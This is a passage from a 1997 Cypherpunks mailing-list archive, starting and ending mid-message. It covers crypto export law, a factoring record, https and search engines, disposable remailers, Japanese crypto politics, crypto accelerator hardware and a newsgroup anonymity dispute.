weapons, or biological weapons is forbidden. That
aid can be giving them money, expertise, or even
technical documentation. Has anyone at Sun ever
sent a Java manual to a pharmaceutical company
outside the US? Hmmm.

Of course crypto is not currently classed as a
weapon of mass destruction, but if there was an
electronic terrorist attack on the entire US
telephone system it could easily make people
think about changing that. And in the meantime the
list of chemicals mentioned above is sufficiently
broad that almost anyone could be technically
guilty of something.

(not normally very paranoid)
Greg.

Greg Rose               INTERNET: ggr@qualcomm.com
QUALCOMM Australia      VOICE:  +61-2-9743 4646   FAX: +61-2-9736 3262
6 Kingston Avenue       http://people.qualcomm.com/ggr/ 
Mortlake NSW 2137       B5 DF 66 95 89 68 1F C8  EF 29 FA 27 F2 2A 94 8F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Wed, 19 Nov 1997 22:41:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <v0310280eb0981fb7af46@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.971119091809.13910B-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, Tim May wrote:
> I hope you were not suggesting a long drawn-out court case, with lawyers
> paid for by the taxpayers, to decide that which is patently obvious?
> 
> --Tim May

I have read quite a few of your messages related to this, Tim, and I find 
it quite interesting that the quintessential Crypto Anarchist has such a 
conservative attitude.

Long drawn out court cases are not "paid for by taxpayers".  They are 
paid for by the government, which happens to have stolen the funds from 
its victims (taxpayers).

Why does the fact that they (the government) have initiated force against 
you (or stolen from / taxed you) somehow imply that they now have an 
obligation to further their crimes by initiating force against others?

___________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
__________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 19 Nov 1997 20:52:17 +0800
To: shamrock@cypherpunks.to
Subject: Re: Search engines and https
In-Reply-To: <Pine.BSF.3.96.971120092606.11412A-100000@pakastelohi.cypherpunks.to>
Message-ID: <199711190932.JAA00731@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> While trying to submit the cypherpunks.to website to a few search engines,
> I noticed that none of them seems to support indexing of https URL's. Is
> anybody here aware of a search engine that indexes secure web pages? And
> if there is no such search engine, what are the thoughts on using https to
> deliberately keep pages out of indices?

One thing you could do is to have your server use http (no s) iff the
connection comes from a known search engine.  Reasonably easy to do --
set up an http server, and block all sites, and put in allow
directives for the search engines.

It's not as if you're insisting on client certs for the HTTPS server.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Date: Wed, 19 Nov 1997 17:00:12 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: Factor a 2048-bit number
In-Reply-To: <199711182155.PAA01654@dfw-ix3.ix.netcom.com>
Message-ID: <WIN2359-971119084033-51DC*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain





>Yet, I believe that an enterprising individual will be able to factor it.

Extract from ERCIM News No. 31:

CWI factors Giant Number in Record-Time

On Wednesday, 3 September, one of the several hundred computers at CWI yield the two prime factors of the 180-digit number "see: Factor a 2048-bit number", also written as (12^167+1)/13. The factors were found after only twelve days of computation on 85 SGI/Cray computers at CWI.  One special step in the computation requiring huge memory space, was carried out at the Amsterdam Academic Computer Centre SARA.

The 180-digit number is the largest factored so far with the method employed here-the Special Number Field Sieve (SNFS).  The previous record (See:http://www.loria.fr/~zimmerma/records/), the factoring of a 167-digit number, was established last February by an international group of researchers who joined efforts through Internet.  However, this job still required two months of computing time.  In establishing the new record, CWI only used in-house resources.  The record time - a speed-up with a factor five compared to the previous record - was due to recent software improvements by CWI researchers who moreover used faster computers than their predecessors. The used code was originally developed at Oregon State University and by the Dutch mathematician Arjen Lenstra (now at Citibank, New York).  During the last few years CWI has continually improved this code, leading to several world records in this research field.  The American company Microsoft will shorty acquire the right!
!
 to use this code, in order to become more familiar with the newest factoring technologies.  With a related method, the General Number Field Sieve, the reliability of widely used cryptographic codes is tested.

Please contact:
Herman te Riele-CWI
Tel: +31 20 592 4106
E-mail: Herman.te.Riele@cwi.nl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 19 Nov 1997 23:51:23 +0800
To: iang@systemics.com (Ian Grigg)
Subject: Re: cryptx spam - des-based program.
In-Reply-To: <347182CF.DA81779@systemics.com>
Message-ID: <199711191531.KAA07810@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



As the maintainer of the free crypto libraries page
(www.homeport.org/~adam/crypto), I'm strongly tempted to refuse to add
any new library whose name starts with crypt.

Adam

Ian Grigg wrote:
| Bill Stewart said:
| > I got spammed by someone selling Cryptx, a DES-based encryption program.
| 
| Sheez, not only spam, but perverting our good name!  Cryptix is good
| strong stuff, they are simply hoping to confuse customers by dropping a
| vowel.
| 
| -- 
| iang                                      systemics.com
| 
| FP: 1189 4417 F202 5DBD  5DF3 4FCD 3685 FDDE on pgp.com
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <cypherpunks@cyberpass.net>
Date: Wed, 19 Nov 1997 18:40:25 +0800
To: cypherpunks@cyberpass.net
Subject: Disposable Remailers
Message-ID: <199711191030.LAA17934@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jonathan Wienke wrote:
>Woodwose (who appears to have borrowed my last name for his "True Name")
>appears to have done a variation of this--except that if there are
>complaints about messages being sent from woodwose@mailexcite.com, I doubt
>anything will happen other than the woodwose account at mailexcite.com
>being closed.  Hence, his "disposable remailer" claim.  Any shmuck can log
>on and input a fake name, address, and demographic data to create a new
>account at hotmail, mailexcite, or juno.  In this way, as existing
>remailers are harassed out of existence, new ones can be created on a daily
>or hourly basis.  It would probably be interesting to find out how much
>info these outfits collect (cookies, etc.) that could be definitively
>linked to a True Name.

I played around with Hotmail recently, and I didn't pick up any new cookies 
in my cookies file.  The only distinguishing information that Hotmail seems 
to collect (aside from the demographic info you feed them when you open an 
account) is the IP address you log in from.  A public proxy is sufficient to 
shield your IP address.  I created the account from one IP address and sent 
the email during a separate session from another IP address.  The 
X-Originating-IP header showed only the second address.  I don't know if 
Hotmail keeps track of all IP addresses that access each account.

Question: can anyone suggest some information/studies regarding the security 
of public proxies?

Thanks.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Wed, 19 Nov 1997 19:46:06 +0800
To: John Gilmore <gnu@toad.com>
Subject: Re: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
In-Reply-To: <199711190530.VAA02158@toad.com>
Message-ID: <Pine.GSO.3.95.971119133754.26754H-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, John Gilmore wrote:

> It has a screwy "non-commercial use only, AT&T gets everything, you
> get nothing" license, but otherwise it looks interesting.

Someone forgot to make it available outside the US, please someone drop it
at replay or some other well-equipped crypto site.

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 19 Nov 1997 20:56:03 +0800
To: cypherpunks@cyberpass.net
Subject: Bob Hettinga's attention surplus disorder
Message-ID: <199711191251.NAA29914@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Several people have commented about Bob Hettinga's verbosity,
Thompsonesque writing style, and apparent limitless supply of bubbly
energy.

Sometime ago during a discussion of ADD (Attention Deficit Disorder)
Bob told his story on the list.  He explained that he had had ADD, but
was now on amphetamines to counteract this, and was feeling much
better.  It was quite brave of him to discuss this openly.

I suspect what we are seeing is that the amphetamines are more than
counteracting his putative ADD problems, to the extent that he has
more energy than normal to write long winded Thompsonesque rants, the
content of which could be more clearly expressed in a treatise 1/10th
the size.

Impatience is a useful trait, because it causes one to reconsider the
efficiency of approaches.  Most of us simply don't have the patience
to even read the voluminous posts of Bob's to locate the actual
content amidst the colorful metaphors (rocket launchers, snot covered
gun barrels, etc).

No offense to Bob, but I think his effectiveness would improve if he
let off the amphetamines a touch.

Amad3us

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Wed, 19 Nov 1997 13:58:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4532] Re: Exporting crypto from Japan
In-Reply-To: <199711170700.QAA13617@eccosys.com>
Message-ID: <199711190552.OAA16419@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 16:23 97/11/17 GMT, Adam Back wrote:

> I am not sure why discussion should lower your reputation capital,
> unless open discussion is frowned upon by those who you wish to
> influence.  Perhaps you fear that you will be dismissed as a
> cypherpunk, a hardliner, whilst you are trying to appear less radical.

Maybe reputation capital is not the right word. There are some people
who do not necessarily like what I am saying in Japan. I am using all
of the media spin that I can to keep the tabloids out of my face. I
regularly gets calls from the tabloids here trying to find something
to tear down my reputation in Japan. This method of media spin is
how most politicians in Japan extort and put pressure on public figures.

Even if everyone here knows exactly what I mean, people can quote
me out of context and things can escalate from there.

So yes. I fear being cast as a cypherpunk hardliner and having it
distorted in the Japanese press. I know for a fact that a few people
are trying to do this and more will in the future.

> I am pleased that you are discussing with us crypto politics in
> Japan... we have few contributors from Japan in the past.  The lower
> protection for political speech in your country I always suspected was
> the problem.  Dissidents who speak out against the government line in
> Japan I suspect are taking bigger risks than in the US, UK, and
> Europe.

You are correct. It is difficult to be a successful dissident in Japan.

> I would've thought that the NSA's world policeman attempts would be
> resented by Japanese secret service types.  I get the impression there
> are tensions between EU, UK and US secret services.

They are resented in Japan. The problem is, I have many of my assets
in the United States so taking a Japanese nationalist stance against
the NSA is not very intelligent for me. I like many things in the US
and I would like to protect my ability to access to those things.

> > So... I am a wimpy moderate, but at least I'm talking to you folks.
> > If you want me to shit or get off the pot, I think I'll get off the
> > pot.
> 
> Well be careful of doing deals with the devil.  Several crypto
> lobbying groups in the US some suspect did more harm than good.  These
> groups lost their no compromise stance, and ended up helping to draft
> laws to ban crypto because they thought they could make the laws
> mildly less obnoxious by doing so.  It may even have been the case
> that they had a net negative impact on freedom of crypto.  Making
> deals with politicians is a dangerous game to play.  They are
> opinionless power brokers, and will just use you as a bargaining chip.

I agree. I am trying to keep my politics rather disorganized and
focused on cutting through lies and bullshit rather than building
a political position. I have not organized anything other than a
regular cypherpunks meeting where many different types of people
exchange views and work on technology. I do not "negotiate" with
the government. I just express my opinions. For now... but I understand
very well the risk of political exposure. Many of my colleagues
and friends have been  socially destroyed when trying to break a pact
with the "dark side." I have already had several "recruitment"
pings from the "dark side," and the most recent attempt in the form
of a bribe offer, I reported Time Magazine. The "dark side" doesn't
like me, but they don't have anything on me... yet...

> > P.S. I am going out of town for two days and may not have
> > net connectivity. So, if I don't respond to something, it's not
> > because I'm hiding. If you don't hear from me in 3 days, call John
> > Markoff for me. ;-P
> 
> Don't know how things work in Japan, but I hear from people who've had
> spooky attentions that the best protection against spooks is harsh
> bright lights: they hate publicity.

Same. Markoff promised that if I received a threat from either the US
or Japanese government, he would write it up in the New York Times
for me. I think this is the best protection I have.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 19 Nov 1997 21:50:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Search engines and https
In-Reply-To: <199711190932.JAA00731@server.test.net>
Message-ID: <9711191344.AA49722@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> One thing you could do is to have your server use http (no s) iff the
> connection comes from a known search engine.

Why not set up http pages with just "description" and "keywords" headers
for the search engines, and a link to the https page for users that
come from the search engine?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Wed, 19 Nov 1997 13:58:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4707] Re: Exporting crypto from Japan
In-Reply-To: <199711162343.IAA12079@eccosys.com>
Message-ID: <199711190552.OAA16422@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 21:21 97/11/18 -0700, Tim May wrote:
> At 4:43 PM -0700 11/16/97, Joichi Ito wrote:
> 
> >who also have domestic political strength. Also, I looked into the
"Chobetsu"
> >that you refered to in a previous message and I think you are refering
to the
> >"Naikaku Chosashitsu Betsushitsu" which is the group that engages in the
often
> >rather shady "super-legal" actions like stamping out political parties and
> >going after cults. I don't think they have any direct involvement in the
> >current
> >RSA issue and I wouldn't call them "Japan's NSA." They are more like some
> >kind of secret police. (I can already image the kind of messages I'm
going to
> >receive on this list for engaging with you at this level of dialog, but for
> ...
> 
> As I said earlier, Richelson's comprehensive study of foreign intelligence
> agencies describes it as Chobetsu, as does Hersh. Perhaps there is an issue
> of transliteration here?
> 

Tim... Interesting. It sounds like the same organization I am talking about,
but I didn't know it was part of the defense force. I will ask a few experts
and back back to you if I find out more.

Maybe I'll give them a call. ;-)

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 19 Nov 1997 22:07:09 +0800
To: cypherpunks@cyberpass.net
Subject: Nobuki Nakatuji
Message-ID: <199711191358.OAA06580@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Nobuki Nakatuji, though lesser known, is like Monty Cantsin and 
Luther Blissett, well-burnished pseudonyms used by wads of 
artistes who believe them to be more artful than hoary Anonymous. 
Globalists are producing variations of nom-de-plumes to scribe a 
message to the clued - duh, in Imperialist Yanklish.

Reputation capital and persistent identity convince only the
duh-speakers who believe insider secrets, insider lies of hot IPOs, 
and MISTY/RSA chips ostensibly made in JP and NDA-ed to the 
gullible by pseudo-chipper fab-lab MD-stingmasters.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Wed, 19 Nov 1997 14:11:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting Crypto from Japan
In-Reply-To: <199711171623.QAA01215@server.test.net>
Message-ID: <199711190559.OAA16675@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 21:52 97/11/17 EST, Dr.Dimitri Vulis KOTM wrote:

> Because Ito-san is a lying sack of shit. "I support crypto, although
> not for the four horsemen." 

Just to clarify my position and respond to an earlier post by
Tim about drug dealers...

I support the use of crypto by everyone. I also agree with Tim
that historically black markets have spurred the growth of
all kinds of technologies, markets and products.

My point was that I'm not pushing for crypto "just for" the
drug dealers in Asia. This would be a stupid political position
for me and they probably don't need my help anyway.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Wed, 19 Nov 1997 17:06:04 +0800
To: cypherpunks@cyberpass.net
Subject: The Japanese Media as Political Enforcement
In-Reply-To: <199711171623.QAA01215@server.test.net>
Message-ID: <199711190900.SAA17945@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm not sure exactly how the media works in the US, but it might be
helpful for people to understand how politics and media work in Japan.

The politicians and lobby groups all have access to the media.
They hire investigators, photographers and use all kinds of resources
to collect dirt about their political foes. Then, when they need
to put pressure on someone, they go to the sleazy Japanese media
with the dirt and saturate the media with the dirt.

When one gets involved in business or any other activity in Japan,
one chooses either to stay out of the media or use it. Once one
get into the media and people start paying attention to you, the
attention increases. This attention helps you get loans from banks,
get jobs, etc. People think that if you are in media, it is difficult
to do shady things like rip people off, go bankrupt, or run away.
The media keeps writing lots of stuff about you as long as you keep
doing new stuff. At a certain point, after they start running out of
good things to day, they switch and start tearing you apart. That
way, they get twice the media miles out of one person.

The general structure is that your political foes keep releasing
bad stuff about you and minor magazines publish this stuff. As
soon as the political pressure gets too much or the media decides
you are a bore, a public reputation capital bankruptcy occurs
and everyone tears you apart. This has happened to almost every
major modern leader in Japan.

I realize that my public reputation capital in Japan has no
value or meaning on the Net, but it does affect what I can do
on the Net. I am currently very exposed in the media in Japan.
I regularly appear in the Newspapers, TV, Magazines and public
events. I am still not a "rock star" but I am enough of a public
figure so that people bash me publicly and recognize me on the
street. Magazines write about my private life and feel that
"who I am going out with" is worth a headline. In this state,
I have the security of being under a bright light that keeps
direct attacks away, but it makes me very vulnerable to indirect
attacks. Investigators ask my friends whether I take drugs, drive drunk,
have divorced parents... anything. So... To retain my current
position from where I am launching my assault on a bad structure,
I have to cover myself with the media and there I have to comply
with the general legal and moral norms of Japanese society.

Luckily, bashing the bad guys in government and industry is OK
as long as you win. Unfortunately, I can not take drugs, drive
drunk, be a terrorist, or... probably be a hardline cypherpunk.

My currently strategy is to protect my public position and get
as many "torso shots" as possible with my publicly acceptable weapon
before I get knocked down. I will then resort to the use of
"unauthorized weapons".

I am not out to destroy the government or industry. I'm trying
to cure the cancer that has developed. I have a feeling Japan
may die of this cancer, but at least I won't have been a part
of the cancer. and... if Japan dies of the cancer, hey, we can
all build the next Japan.

Sorry to write such a "self-oriented" message. I just wanted
to explain why I am appear very conservative for a cypherpunk
wannabe.

- Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 19 Nov 1997 04:30:38 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: List Robustness
In-Reply-To: <3.0.3.32.19971117190222.00688de4@popd.ix.netcom.com>
Message-ID: <Pine.BSF.3.96.971119211744.9826A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 17 Nov 1997, Bill Stewart wrote:
> Just to balance Singapore, it'd be nice to have an archive in Amsterdam :-)
> Or in Virtual Tonga, or Niue.   Then there's the mirror at Ft. Meade :-)

I currently see no need for another archive. Certainly not on this Tongan
box. If some nodes go away, I might reconsider.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 19 Nov 1997 04:48:01 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: Re: export restictions and investments
In-Reply-To: <Pine.GSO.3.95.971118144118.21511I-100000@nebula>
Message-ID: <Pine.BSF.3.96.971119212443.9826B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, Jyri Kaljundi wrote:

> 
> 
> How do the US export restrictions affect investments into non-US crypto
> companies?

They don't.

> Is it legal for US private persons or companies to invest money
> into companies developing strong crypto applications for example in
> Europe? 

It is legal. For now.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Wed, 19 Nov 1997 22:29:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Search engines and https
In-Reply-To: <199711190932.JAA00731@server.test.net>
Message-ID: <199711191421.XAA23981@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky, Infoseek will actually store id/passwords to get into
sites that it really wants to index. I've forwarded your question
to the infoseek list. I'll let you know what I find out about https.

 - Joi


>  > It's not as if you're insisting on client certs for the HTTPS
> server.
> 
> Actually, there are pages on the server that do require client certs.
> Of course these pages need not be listed  in any search engine. But now
> that you mention it, it might be fun to set up an automated enrollment
> page and require client certs for everything.
> 
> -- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
> 
> 
> 
--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 19 Nov 1997 10:21:08 +0800
To: Jack Oswald <joswald@rpkusa.com>
Subject: RE: export restictions and investments
In-Reply-To: <01BCF43F.82159220@joswald@rpkusa.com>
Message-ID: <Pine.BSF.3.96.971120030154.10759A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, Jack Oswald wrote:

> 
> I am also aware of a company called VASCO that bought a crypto chip maker in Belgium which was apparently OK too.

At this point a brief overview of modexp accelerators might be  in order:

o the Belgian chips I've seen are too slow.
o the Rainbow board is OK, but non-exportable.
o the Chrysalis PCMCIA card has the same performance as the Rainbow board
at half the price.  Also non-exportable.
o  the Ncipher SCSI based accelearator screams, but it a bit pricey.
UK product. Exportable (?) http://www.ncipher.com/
o a high-end Alpha also performs rather nicely, according to some
benchmarks Eric Young once posted.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 19 Nov 1997 16:39:01 +0800
To: cypherpunks@Algebra.COM
Subject: Search engines and https
Message-ID: <Pine.BSF.3.96.971120092606.11412A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



While trying to submit the cypherpunks.to website to a few search engines,
I noticed that none of them seems to support indexing of https URL's. Is
anybody here aware of a search engine that indexes secure web pages? And
if there is no such search engine, what are the thoughts on using https to
deliberately keep pages out of indices?

Thanks,
-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 19 Nov 1997 21:10:30 +0800
To: Jyri Kaljundi <jk@stallion.ee>
Subject: Re: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
In-Reply-To: <Pine.GSO.3.95.971119133754.26754H-100000@nebula>
Message-ID: <Pine.BSF.3.96.971120135737.11686C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997, Jyri Kaljundi wrote:

> 
> On Tue, 18 Nov 1997, John Gilmore wrote:
> 
> > It has a screwy "non-commercial use only, AT&T gets everything, you
> > get nothing" license, but otherwise it looks interesting.
> 
> Someone forgot to make it available outside the US, please someone drop it
> at replay or some other well-equipped crypto site.

That is unlikely to  happen. The copies are  personalized.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 19 Nov 1997 21:25:14 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Search engines and https
In-Reply-To: <199711190932.JAA00731@server.test.net>
Message-ID: <Pine.BSF.3.96.971120140025.11686D-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997, Adam Back wrote:
> 
> One thing you could do is to have your server use http (no s) iff the
> connection comes from a known search engine.  Reasonably easy to do --
> set up an http server, and block all sites, and put in allow
> directives for the search engines.

Then the search engine would list the wrong URL. The idea is to get
people to use crypto. In  fact, as soon as I find the time, cypherpunks.to
will reject weak crypto browsers and provide those unfortunate enough to
use such a browser with pointers to upgrade options.

 > It's not as if you're insisting on client certs for the HTTPS
server.

Actually, there are pages on the server that do require client certs.
Of course these pages need not be listed  in any search engine. But now
that you mention it, it might be fun to set up an automated enrollment
page and require client certs for everything.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim McVeigh <tm@dev.null>
Date: Thu, 20 Nov 1997 08:18:50 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.SUN.3.94.971119065534.4102B-100000@panix.com>
Message-ID: <3472EC0C.6F5B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:
> 
> On Tue, 18 Nov 1997, Tim May wrote:
> 
> > It's time to "Just Say No" to the U.N. The John Birch Society makes more
> > sense every day.
> 
> US out of the UN and UN out of the US.
> 
> DCF

US out of the US.

TFM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 20 Nov 1997 01:29:50 +0800
To: cypherpunks@cyberpass.net
Subject: Clinton Sells Arlington Burials
Message-ID: <3.0.3.32.19971119081153.0324597c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I just heard on the news that Bill Clinton has been selling the right
to be buried in Arlington National Cemetery (and possibly other
military cemeteries) to campaign contributors.  The story originally
broke in the latest edition of Insight magazine yesterday.  I think
our Maximum Leader has stooped to a new level of sleaze, and deserves
the revulsion of veterans everywhere.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNHMPxsJF0kXqpw3MEQLhzwCfQaz1SSmxZQiAIDimCxUMpBP3cF8AoMv2
WQwxTE9cSYfjt+HVE5LElVfI
=Z7kj
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Thu, 20 Nov 1997 01:01:41 +0800
To: cypherpunks@toad.com
Subject: Why Does the CAUCE Oppose Privacy and Anonymity? (was: Re: RESULT: com
Message-ID: <199711191631.IAA12085@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



krueger@cs.umn.edu (Alan Krueger) wrote:

> >>ichudov@algebra.com (Igor Chudov @ home) writes:
> >>
> >>>Anonymity has value that is greater than the value of CAUCE.
> >
> >Could someone help a rookie here?  What's CAUCE and how does
> >it relate to anonymity.
>  
> It doesn't, per se, but a number of people choose to believe that.  CAUCE
> is the Coalition Against Unsolicted Commercial Email and supports the
> banning of such unsolicited advertisements.  See their web page at
> http://www.cauce.org/ for more information.  
>  
> The yelling is about the proposed (now ratified) robo-moderation policy
> for the *newsgroup* to discuss CAUCE issues, comp.org.cauce, which requires
> that you post with a deliverable email address.  This was supposed to
> keep belligerant spammers and trolls from posting to the group without
> having some kind of valid contact address.  This was not supposed to be
> anti-privacy, anti-munging, or anti-anonymity, though that is what seems
> to be the big issue many people were having with it.

That makes about as much sense as holding a rally to protest auto theft and
requiring that each attendee leave his car UNLOCKED in the parking lot while
attending.  In this case, the price of admission to this "anti-UCE party" is
